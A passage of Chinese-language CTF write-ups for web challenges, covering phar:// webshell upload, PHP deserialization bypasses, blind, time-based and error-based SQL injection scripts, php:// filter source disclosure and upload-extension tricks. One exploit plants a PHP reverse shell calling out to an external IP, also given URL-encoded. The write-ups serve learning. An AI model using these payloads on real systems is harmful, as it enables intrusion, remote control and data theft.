$_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>[/collapse]writeup进去有一句话：Tips: the parameter is file! :), 意思是这个页面接受一个参数file。查看网页源代码发现有一句注释 “upload.php”，访问后是一个文件上传的界面。回去index界面，尝试输入参数file=upload.php，发现报错：Warning: include(upload.php.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 15得知这个参数的值是传给include的，并且会在后面补一个 .php 后缀。尝试加个%00截断。被waf吃了……用PHP伪协议读源码，发现可以读到源码。index.php 和 upload.php 的源码在上面。审计源码发现 upload.php 限制了上传的后缀和content-type，并且过滤了%00之类的截断，所以不可能直接上传包含恶意文件。这里利用了 phar:// 伪协议。写一个含有PHP木马的文件a.php，打包成压缩包，再重命名为b.jpg，然后上传。成功上传后构造payload如下：http://174.137.54.82:8080/?file=phar://upload/b.jpg/a成功Getshell，在根目录下找到flag。总结这道题的知识点主要是 phar:// 伪协议。这个伪协议可以访问压缩流，并且和文件的后缀无关。所以可以绕过后缀检测读取恶意文件。0x02 babyweb源码：[collapse title="源码" status="false"]index.php:<?php class BlogLog { public $log_ = '/tmp/web_log'; public $content = '[access] %s'; public function __construct($data=null) { $temp = $this->init($data); $this->render($temp); } public function init($data) { // No, you can't control an object anymore! $format = '/O:\d:/'; $flag = true; $flag = $flag && substr($data, 0, 2) !== 'O:'; $flag = $flag && (!preg_match($format, $data)); if ($flag){ return unserialize($data); } return []; } public function createLog($filename=null, $content=null) { if ($this->log_ != null) $filename = $this->log_; if ($this->content != null) $content = $this->content; file_put_contents($filename, $content); } public function render($k) { echo "Fuck Apeng!!!!!"; echo sprintf($this->content, $k['name']); } public function __destruct() { $this->createLog(); } } $data = ""; if (isset($_GET['data'])) { $data = $_GET['data']; new BlogLog($data); } else { highlight_file(__FILE__); }[/collapse]writeup这道题上来就给了源码。审计源码发现有 unserialize($data) ，并且这个 data 是我们可控的。于是寻找可利用的危险函数。在 createLog 这个函数里面找到了 file_put_contents 这个危险函数，它可以让我们向web目录下写入一个PHP木马。回溯寻找调用链。这个函数是由类的魔术方法 __destruct 调用的，写入的文件名和内容都是类的变量。类在创建的时候会调用反序列化。利用方法已经找到了，剩下的就是绕waf了。这道题的waf是两个if。第一个if检测了最开始的两个字符，不能是 O: 。这个可以用数组来绕过。第二个if通过正则匹配了 O:(数字) 这样的字符串。这里可以通过在 O: 后面加 + 来绕过。(具体原因见：http://sec-redclub.com/archives/962/)exp：<?php class BlogLog { public $log_ = './s.php'; public $content = '<?php set_time_limit(0);$ip=\'193.112.253.241\';$port=\'8848\';$fp=@fsockopen($ip,$port,$errno,$errstr);fputs($fp,"\n++++++++++connect success++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);?>'; } $a = new BlogLog; $data = [$a]; echo serialize($data); ?>加上 + 后进行 URL encode 得到payload：%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%2b%37%3a%22%42%6c%6f%67%4c%6f%67%22%3a%32%3a%7b%73%3a%34%3a%22%6c%6f%67%5f%22%3b%73%3a%37%3a%22%2e%2f%73%2e%70%68%70%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%36%30%3a%22%3c%3f%70%68%70%20%73%65%74%5f%74%69%6d%65%5f%6c%69%6d%69%74%28%30%29%3b%24%69%70%3d%27%31%39%33%2e%31%31%32%2e%32%35%33%2e%32%34%31%27%3b%24%70%6f%72%74%3d%27%38%38%34%38%27%3b%24%66%70%3d%40%66%73%6f%63%6b%6f%70%65%6e%28%24%69%70%2c%24%70%6f%72%74%2c%24%65%72%72%6e%6f%2c%24%65%72%72%73%74%72%29%3b%66%70%75%74%73%28%24%66%70%2c%22%5c%6e%2b%2b%2b%2b%2b%2b%2b%2b%2b%2b%63%6f%6e%6e%65%63%74%20%73%75%63%63%65%73%73%2b%2b%2b%2b%2b%2b%2b%2b%5c%6e%22%29%3b%77%68%69%6c%65%28%21%66%65%6f%66%28%24%66%70%29%29%7b%66%70%75%74%73%28%24%66%70%2c%22%73%68%65%6c%6c%3a%22%29%3b%24%73%68%65%6c%6c%3d%66%67%65%74%73%28%24%66%70%29%3b%24%6d%65%73%73%61%67%65%3d%60%24%73%68%65%6c%6c%60%3b%66%70%75%74%73%28%24%66%70%2c%24%6d%65%73%73%61%67%65%29%3b%7d%66%63%6c%6f%73%65%28%24%66%70%29%3b%3f%3e%22%3b%7d%7d打过去后成功Getshell。总结这道题算是涨姿势了，之前从来不知道反序列化还可以这么绕过……不过通过这题我算是了解了反序列化的思维方式：通过危险函数回溯来寻找利用链，弄清楚需要控制哪些变量，然后再去考虑绕过waf。0x03 easyweb revenger源码[collapse title="源码" status="false"]index.php:<?php error_reporting(0); include_once("conn.php"); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $black=['admin','guest','limit','by','lpad','substr','mid','like','or','char','union select','greatest','%00','\'','_',' ','in','<','>','_','\.','\(\)','#','and','substring_index','table_name','desc','if','trim','get_lock','order','substring','database','concat','length','benchmark','where','concat','upper','insert','having','sleep','regexp','load_file','where','update','updatexml','schema']; foreach ($black as $value) { if(preg_match("/".$value."/i", $str)) return false; } return true; } header("Content-Type: text/json; charset=utf-8"); // check user input if (!isset($_REQUEST['id']) || empty($_REQUEST['id'])) { die(json_encode(['error' => 'Which one do you wanna vote.I prefer Ashen!'])); } $id = $_REQUEST['id']; if (!is_valid($id)) { die(json_encode(['error' => 'Try again, Hacker!'])); } $db = new mysqli($host, $user, $pass, $dbname); $res = $db->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); if ($res === false) { die(json_encode(['error' => 'An error has occurred when voting!'])); } //print("UPDATE vote SET count = count + 1 WHERE id = ${id}"); echo json_encode(['message' => 'Vote succeed.']); ?>[/collapse]writeup打开题目是一个选举的界面。查看网页源代码发现有两行注释： 明显的注入。访问注释中的路径得到源码。审计源码，基本都过滤完了……注入点应该是在id那里。简单测试一下，发现只要语句正确投票数就会 +1。这里就存在盲注的漏洞。看看怎么绕过吧。空格可以用 /**/ 绕过；and 可以用 ^ 来代替；substr之类的可以先left()再right()来代替；ascii()也没有被过滤。这里把schema和table_name给过滤了，所以只能盲猜了。题目给了flag在flag表里面，那就猜测flag表里面有一个flag列，里面就是flag。上脚本试试：#encoding: utf-8 import requests as r import string import re url0 = "http://123.207.32.26:8001/" url1 = "http://123.207.32.26:8001/vote.php?id=" characters = string.ascii_letters + string.digits + string.punctuation max_len = 60 database = "" num = 0 for i in range(1, max_len): next_position = False for j in characters: payload = url1 + "0^(ascii(right(left((select/**/flag/**/from/**/flag),{0}),1))={1})".format(i, ord(j)) #print (payload) response = r.get(url0) num = int(re.findall(r"Aye votes:(\d+)", response.text)[0]) + 1 #print (num) r.get(payload) response = r.get(url0) check = "Aye votes:{}".format(num) if check in response.text: database += j next_position = True break num = num + 1 if next_position == False : break print (database) print (database)脚本跑一通还真就跑出东西来了，这说明猜测是对的。得到flag。总结这道题让我Get了一种方法：同时用left和right来代替substr。还有就是最开始那个waf是没有效果的……直接就return true了……那时候我没用ascii()这个函数，注出来的flag全是小写。可能是substr或者是=的问题吧……以后要多注意一下这种细节。
这道题有一个坑卡了我贼久，单独拿出来记录一下。原题https://ctf.bugku.com/challenges#INSERT%20INTO%E6%B3%A8%E5%85%A5源码分析源码题目给出了：<?php error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; //XFF优先 }else{ $ip = $_SERVER['REMOTE_ADDR']; //否则REMOTE_ADDR } $ip_arr = explode(',', $ip); //过滤',' return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; //insert into注入点 mysql_query($sql); ?>观察源码可以看出，获取XFF中的IP，然后根据逗号切分，返回第一部分。这就意味着我们没办法使用逗号。所以这里只能用基于时间的注入，注入点是XFF头。在过滤了逗号的情况下，我们就不能使用if语句了，在mysql中与if有相同功效的就是：select case when (条件) then 代码1 else 代码 2 end;而且由于逗号,被过滤，我们就不能使用substr、substring了，但我们可以使用：from 1 for 1。那么就开始注入吧。注入爆库：#!/usr/bin/env python import requests,time,string characters = string.ascii_letters + string.digits + string.punctuation max_length = 50 target = 'http://120.24.86.145:8002/web15/' database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" def get_database(): flag = '' for i in range(1, max_length): next_position = False for char in characters: payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) headers = { 'X-Forwarded-For': payload } try: r = requests.get(target,headers=headers,timeout=4) except requests.exceptions.ReadTimeout: flag += char print(flag) next_position = True break if not next_position: return flag get_database()说明一下为什么Payload里面最右边多了一个括号：这个是为了闭合源码中 INSERT INTO 里面的括号。爆表：payload = "'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)!> 注意这里需要加上 limit 限制选择的表的数量。不然的话……(明白我的意思吧)爆字段：payload = "'+(select case when (substring((select column_name from information_schema.columns where table_name='flag' limit 1) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)得flagpayload = "'+(select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)得到flag：cdbf14c9551d5be5612f7bb5d2867853(不愿意等就拿走吧 : D)
这道题比较有意思，涉及到的知识点也比较多，单独拿出来记录一下吧。原题：https://ctf.bugku.com/challenges#%E5%A4%9A%E6%AC%A1第一关1. 找注入点进去后只有一句话。首先先找注入点。发现URL有一个id=1，猜想这里会有注入点。加个单引号，果然报错了。说明这里存在注入点。2. 判断过滤这里返回只有两种情况，所以可以用以下语句判断过滤：?id=1'^(length('union')>0)%23这里后面用 "#" 的话无法注入，可能是哪里过滤了 “#” 号。这里是通过异或来判断真假。这里如果不报错的话就说明里面的字符串被过滤了。经过检测发现 select, union, or, and 都被过滤了。并且这里的过滤是直接替换为空。3. 注入既然如此，就可以通过特殊的方法来绕过。比如：oorr就可以绕过这种检测一次的过滤。下面就是常规的注入过程啦(记得绕过过滤)。直接给最后结果吧：id=%27 ununionion seselectlect 1,flag1 from flag1%23select 出来一个flag。但是里面还有一个address，查看可以得到第二关的地址。第二关和上一关一样的检测方法。查出来union被过滤了。但是上一关的绕过方法用不了了。这里利用的是基于报错的updatexml注入。首先先了解一下updatexml：UPDATEXML (XML_document, XPath_string, new_value); 第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。 第三个参数：new_value，String格式，替换查找到的符合条件的数据 作用：改变文档中符合条件的节点的值Payload:/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23这里提交的是~sql语句~，是不符合xml格式的，所以会报错。报错会造成 select group_concat(table_name) from information_schema.tables where table_schema=database() 语句的执行，所以可以注入。此时回显：My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)# Nobody! XPATH syntax error: '~class,flag2~'接下来就是常规的注入啦~第三关第二关拿到flag就可以过了。但是既然还有第三关那当然要看看啦。提示要用特定的IP访问，那就修改XFF头来绕过，得到一个二维码。扫描后得到：你……你……你可以看到我? 好吧，我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y&$as%_=#*ad…*@#！*&@…c……既然如此，那就构造payload：/Have_Fun.php/?game=php://filter/convert.base64-encode/resource=admin.php得到flag。
虽然本蒟蒻只写出了这一道题，但毕竟是我第一个写出的比赛题(虽然有大佬帮助才写出来的)。写写wp总结一下吧。源码由于环境已经没有了，就简单说一下源码怎么来的吧。题目中有提示： 于是想到 PHP伪协议，得到源码如下：[collapse title="hint.php源码" status="false"]<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>[/collapse][collapse title="index.php源码" status="false"] <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.' '; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> [/collapse]分析拿到源码看一眼就知道这个是反序列化漏洞。通过反序列化来调用Handle的 __destruct函数，然后getflag。剩下的就是找到过滤了哪些东西，然后怎么绕过去。仔细观察源码，可以看到这里有三个地方需要绕过：通过 parse_url 来获取payload的值，然后过滤flag字符；Handle的 __wakeup 函数会清空 handle 变量；Flag 对象里面的 token_flag 在 get_flag 函数里面会被赋值为一个随机数的 MD5 值，而 flag 和 token_flag 相等才会输出flag。那么来看看怎么绕过。parse_url 在 PHP5.4.7 之前有一个漏洞：只要在URL前面加上两个 // 就会使其返回 False。具体参考这里这里可以利用反序列化注入漏洞绕过。在 PHP5 < 5.6.25 PHP7 < 7.0.10 的情况下，反序列化传入字符串中声明的变量个数与实际不符合的话，__wakeup 就会被绕过。具体可以参考这里这个地方有两种方法可以过。最简单的当然是暴力啦~只要你够欧，一次就绕过(雾)。好吧这里应该是让 token 等于 token_flag 的引用。这样两个就肯定相等啦。Payload绕过点都分析了，那么就是实际操作了：<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $a = new Flag('flag.php'); $a->token = &$a->token_flag; $b = new Handle($a); $c = urldecode(serialize($b)); echo $c;得到序列化后的Payload，再通过上面的绕过方法，就可以成功 get flag 了。
入门逆向拖进ida，一路“R”下去，flag就出来了。easy_vb丢进ida，慢慢向下翻，flag就出来了。easy_Re丢进ida，按下F5，反编译成伪C语言：看到输入和v5比较。再看v5，出现的地方只有三处：上面的是定义，下面的是使用。那么中间的就肯定是赋值了。查看另一个变量xmmword_413E34，得到flag。(记得反转)
虽然现在我很多题都是要看别人的 writeup 才做的出，但是自己写下来遇到的坑什么的还是有好处的。顺便加深印象啦~P.S. 我这里没有的都是我写的时候环境坏了的题目web2这道题很简单。打开看到一堆滑稽，冷静思考后按下F12，flag就出来了。计算器打开后看到要计算，那就算吧。算出来之后输入，结果只能输一位。想到可能是限制了最大驶入长度。按下F12看到有maxlength，把1改成任意数即可。web基础$_GET这道题源码告诉了我们要GET一个 what 变量，如果是 flag 则输出 flag。构造URL如下：http://123.206.87.240:8002/get/?what=flag得到flag。web基础$_POST和上面的差不多，只是要求 POST 的方式提交。利用hackbar POST 一个 what=flag 上去即可。矛盾首先观察源码，num不为数字的时候执行语句，又要num==1才输出flag。观察到这里用的是 ==，PHP会对比较的两个变量进行类型转换。于是构造num=1a，成功输出flag。web3进去之后只有弹窗，一片空白。于是果断抓包。看到html代码最下面有一行注释掉的html密文，丢进 burp 解密得到flag。域名解析按照题目修改host文件再访问即可。你必须让他停下这道题打开后有一些图片一直在闪，题目说是要让他停下，那就burp抓包慢慢看吧。丢到repeater里面，发现body里面有一句flag is here~多GO几次flag就出来了。本地包含打开就有源码：<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?>嗯…………那就var_dump一下$GLOBALS吧。嗯？Too Young Too Simple？那行吧。既然我的输入是eval出来的，那么就闭合前面的var_dump我就可以为所欲为咯？Payload：http://123.206.87.240:8003/?hello=);include(%22php://filter/read=convert.base64-encode/resource=flag.php%22直接伪协议读源码。得到flag。变量1打开题目后有一句话 flag in the variable!意思是flag在变量里面。接着是源码<?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>这个意思是以GET的方式获取args的值，正则是筛掉非字母数字下划线的输入。重点是下面的 var_dump($$args)，这个意思是输出一个可变变量的值。根据之前所说的flag在变量里面，很容易想到PHP的超全局变量$GLOBALS。于是构造URL如下：http://123.206.87.240:8004/index1.php?args=GLOBALS得到flag。web5JSFuck（或为了避讳脏话Fuck写作 JSF*ck ）是一种深奥的 JavaScript 编程风格。以这种风格写成的代码中仅使用 [、]、(、)、! 和 + 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。与其他深奥的编程语言不同，以JSFuck风格写出的代码不需要另外的编译器或解释器来执行，无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言，编写者可以用数量有限的字符重写 JavaScript 中的所有功能，且可以用这种方式执行任何类型的表达式。查看源码，复制，丢进Console，flag就出来了。(这里我遇到了一个坑，直接F12显示不完全，所以要Ctrl+U来查看)头等舱打开来就一句话，F12也没东西。那就放进Burp里面抓包看看。flag就在头里面。网站被黑题目说没技术含量，那就爆破呗~打开看到一个页面，没什么有用的信息。直接御剑扫一波后台，发现一个shell.php页面。进去后要登录，Burp抓包爆破一波，出密码输入就得到flag。管理员系统打开看到要求输入账号密码，于是想到注入。在输入后发现提示IP禁止登录，请联系本地管理员登录，IP已被记录。按下F12查看源码，发现一段base64加密的密文。解密后得到test123，猜想这个是密码。输入后还是提示一样的东西，并没有登录进去。我做到这里是有点懵，想了一会而后去查了writeup。看到说是要伪装成本地管理员。于是抓包，修改头信息，加入 X-Forwarded-For : 127.0.0.1 这一对键值对。了解一下XXF？ 发包，得到flag。web4打开后提示看源码，发现一堆加密后的密文。看到下面是用unescape解码拼接的，于是丢去解码，得到以下源码:function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } } document.getElementById("levelQuest").onsubmit=checkSubmit;大概意思是提交"67d709b2b54aa2aa648cf6e87a7114f1"输出flag。复制粘贴提交，得到flag。flag在index里面点开网址，只有一个click me? no! 。但是怎么可能不点开呢(滑稽)点开后发现只有一个test。但是，观察URL，?file= 这样的语句是可能有文件包含漏洞的。根据题目flag在index里面，猜想是源码中含有flag。于是利用PHP的伪协议(了解一下伪协议？)构造URL如下：http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php得到base64加密后的源码，解码即可发现flag。输入密码查看flag五位数密码？暴力就完事了。Burp intruder走一波，flag就出来了。点击一百万次题目说点击一百万次，就算用连点器也够呛吧？怎么可能老实的点呢？查看源码，尝试修改点击数，未果。再次查看源码，发现是通过post方式传递的点击次数。于是post一个 clicks=1000000 上去，得到flag。备份是个好习惯点开后给了一串不知道什么意思的字符串。题目提到了备份，于是猜想备份文件含有源码。访问index.php.bak，果然下载了一个文件，里面就是源码。源码需要我们输入两个变量key1和key2，如果它们的值不同且MD5值相同，则输出flag。这个地方有两种方法绕过：1.MD5函数处理数组MD5()函数无法处理数组，如果碰到数组则会返回NULL，这是两个都是NULL就是相同的了。然后数组内的内容不相等即可获得flag。2.利用==比较漏洞如果字符串加密后是以 0e 开头的形式的话，就会被认为是科学记数法。0的多少次方都是0，所以两者相等。下面列出几个MD5加密后是以 0e 开头的字符串：QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a得到flag。成绩单输入一个参数后会回显数据，猜测可能含有SQL注入漏洞。检测漏洞输入以下语句：1' and 1=1#发现正常回显数据，说明含有SQL注入漏洞。查字段1' order by 4#有回显，而1' order by 5没有回显。说明有四个字段，并且这个用户可以使用 order by 指令。查数据库名构造语句如下：' union select 1,2,database(),4 #查到database名为skctf_flag查表名之前的 order by 语句可用，说明这个用户很可能可以访问 information_schema 这个库。构造语句如下：' union select 1,2,GROUP_CONCAT(table_name),4 from information_schema.tables where table_schema='skctf_flag'#这里使用了 GROUP_CONCAT 这个函数。它的作用是将多个结果合并输出。得到库里面的表有 fl4g 和 sc。明显flag就在fl4g这个表里面。查列名构造语句如下：' union select 1,2,GROUP_CONCAT(column_name),table_name from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#查到里面有一个字段 skctf_flag。查字段中的数据' union select 1,2,group_concat(skctf_flag),4 from fl4g#得到flag。程序员本地网站这道题和上面的管理员系统一样的思路，向header中添加一对键值对：X-Forwarded-For : 127.0.0.1即可获得flag。md5 collision(NUPT_CTF)这道题要求输入一个变量a。随便尝试了一些字符都是false。看到题目 md5 collision，想到可能是特殊的MD5，即加密后为 0e 开头的字符串。于是构造payload:http://123.206.87.240:9009/md5.php?a=s878926199a得到flag。字符？正则？这道题就是正则表达式了。构造一个payload匹配这个正则表达式即可得到flag。我构造的payload如下：http://123.206.87.240:8002/web10/?id=keykey1234key:/6/keyz:never give up打开只有一句话，看到URL有一个id=1，以为是注入，注了半天什么都没有。于是查看源码，发现了一个1p.html。访问之后发现跳转到了Bugku的主页，猜想跳转过程中可能藏了什么信息。上Burp，抓包，repeater一波，果然抓到了一些密文。经过base64解密后得到以下源码：";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>给了一堆限制条件。但是，文件名都给了，还管什么限制？直接访问目录下的f4l2a3g.txt这个文件，得到flag。秋名山老司机这道题，直接上脚本：# -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup url = "http://123.206.87.240:8002/qiumingshan/" r = requests.session() html = r.get(url).text soup = BeautifulSoup(html, 'html.parser') res = soup.select("div")[0].text.split('=',1)[0] # 匹配出表达式 c = eval(res) # 计算结果 data = {'value': c} html= r.post(url,data) print (html.text)cookies欺骗这道题打开来后是一堆字符，不知道是什么意思。源码也没什么可用的信息。观察URL，发现filename是base64加密后的。解密后为keys.txt。于是将index.php编码后输入，发现是一片空白。前面还有一个参数line，值为空。随便改个数，发现输出了一句话，换个数输出的内容不一样。于是猜想这个是输出源码的第几行。上脚本：import requests for i in range(18): url = "http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i r = requests.get(url) print (r.text)输出源码如下：<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }观察到cookies为 margin=margin的时候才能访问keys.php。于是上Burp，抓包改包，访问keys.php，得到flag。web8进去后可以看到源码。我们需要输入ac，如果$ac的值等于文件$fn中的内容就打印出flag。根据题目的提示txt，猜想目录下有一个文件的名字是txt结尾的。输入flag.txt，发现有这个文件，并且里面的内容是flags。于是构造payload：http://123.206.87.240:8002/web8/index.php?ac=flags&fn=flag.txt得到flag。各种绕过进去后看到源码：<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); //id进行urldecode解码 $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) {//判断uname 和POST passwd是否有设置 if ($_GET['uname'] == $_POST['passwd']) //判断uname和passwd是否相等 print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) //uname加密全等于passwd id要等于margin die('Flag: '.$flag); else print 'sorry!'; ?>于是构造payload：http://123.206.87.240:8002/web7/?id=margin&uname[]=1 POST:passwd[]=2你从哪里来这题进去后就一句话：are you from google?于是抓包，添加一对header：referer : https://www.google.com，得到flag。细心进去就提示404，页面也没有什么提示，于是上御剑扫一波后台，看到有robot.txt这个文件。进去后发现有一个路径是resusl.php。访问这个路径发现提示不是管理员，还有一句提示：if ($_GET[x]==$password) 此处省略1w字。于是猜测弱密码admin，构造payload如下：http://123.206.87.240:8002/web13/resusl.php?x=admin得到flag。速度要快#encoding:utf-8 import requests import base64 url = "http://123.206.87.240:8002/web6/" r = requests.session() response = r.get(url) flag = response.headers['flag'] key = base64.b64decode(flag) key = str(key, encoding="utf-8") print(key) key = key.split(" ")[1] key = str(base64.b64decode(key), encoding="utf-8") print(key) data = {"margin":key} response = r.post(url, data=data) print(response.text)welcome to bugkuctf进去查看源码，发现有一串代码：$user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin! "; include($file); //hint.php }else{ echo "you are not admin ! "; } 看到这里想到PHP的伪协议：php://input 和 php://filter。构造Payload如下：/*获取hint.php的源码*/ http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php /*获取index.php的源码*/ http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=index.php[collapse title="hint.php源码" status="false"]<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo " "; return ("good"); } } } ?>[/collapse][collapse title="index.php源码" status="false"]<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend! "; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> [/collapse]!> 这里我有个小问题，我用Google的hackbar没办法获得源码，要用burp的repeater才可以正常获取，也不清楚为什么。得到源码后观察，我们需要绕过过滤拿到flag。这里利用了反序列化漏洞。话不多说上payload：<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo " "; return ("good"); } } } $flag = new Flag(); $flag->file = "flag.php"; echo serialize($flag); ?> /test1/?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&file=hint.php&txt=php://input得到flag。过狗一句话assert远程执行漏洞。Payload：http://120.24.86.145:8010/?s=print_r(scandir('./')); 扫描目录参考：php代码/命令执行漏洞login1打开后是一个登录界面，并且可以注册。Hint提示了SQL约束攻击，于是进到注册界面：username: admin...(空格)...1 password: Passw0rd然后去登录：username: admin password: Passw0rdGet flag。求getshell这题有点玄学，我其实还不是很懂。进去后看到上传文件，很明显的文件上传漏洞。然后看检测了什么，绕过去就好了。修改了Content-Type，还是不行。后缀截断发现会被重写。想不出来就去搜writeup了。下面这个转载来自这里更改后缀名来得到flag，php别名php2, php3, php4, php5, phps, pht, phtm, phtml …Content-Type: Multipart/form-data; -----------------------------160788178818824807152124289401 Content-Disposition: form-data; name="file"; filename="test.php5" Content-Type: image/jpeg <?php echo "hack"; ?> -----------------------------160788178818824807152124289401 Content-Disposition: form-data; name="submit" Submit -----------------------------160788178818824807152124289401--如果是waf严格匹配，通过修改 Content-type 后字母的大小写可以绕过检测， 使得需要上传的文件可以到达服务器端，而服务器的容错率较高， 一般我们上传的文件可以解析。flag.php这道题一开始我以为是要手动POST上去然后注入。结果怎么POST都没用。题目提示是hint，没有任何后缀，访问也显示没有这个路径，于是猜想这是一个参数。构造URL：http://123.206.87.240:8002/flagphp/?hint=得到源码：[collapse title="源码" status="false"]<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> Login <?php } $KEY='ISecer:www.isecer.com'; ?>[/collapse]又是一道反序列化的题目。构造Payload：<?php $ISecer = ''; echo serialize($ISecer); ?>!> 注意第二个php代码是用来迷惑你的。PHP_encrypt_1(ISCCCTF)给出了加密算法和密文，解密就好了。[collapse title="Payload" status="true"]<?php function decrypt($str){ $str = base64_decode($str); $len = strlen($str); $key = md5('ISCC'); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen){ $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i<$len ; $i++) { if (abs(ord($str[$i])-ord($char[$i])+128)>128) { $flag .= chr(abs(ord($str[$i])-ord($char[$i]))); }else{ $flag .= chr(abs(ord($str[$i])-ord($char[$i])+128)); } } return $flag; } $s = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; $res = decrypt($s); echo $res; 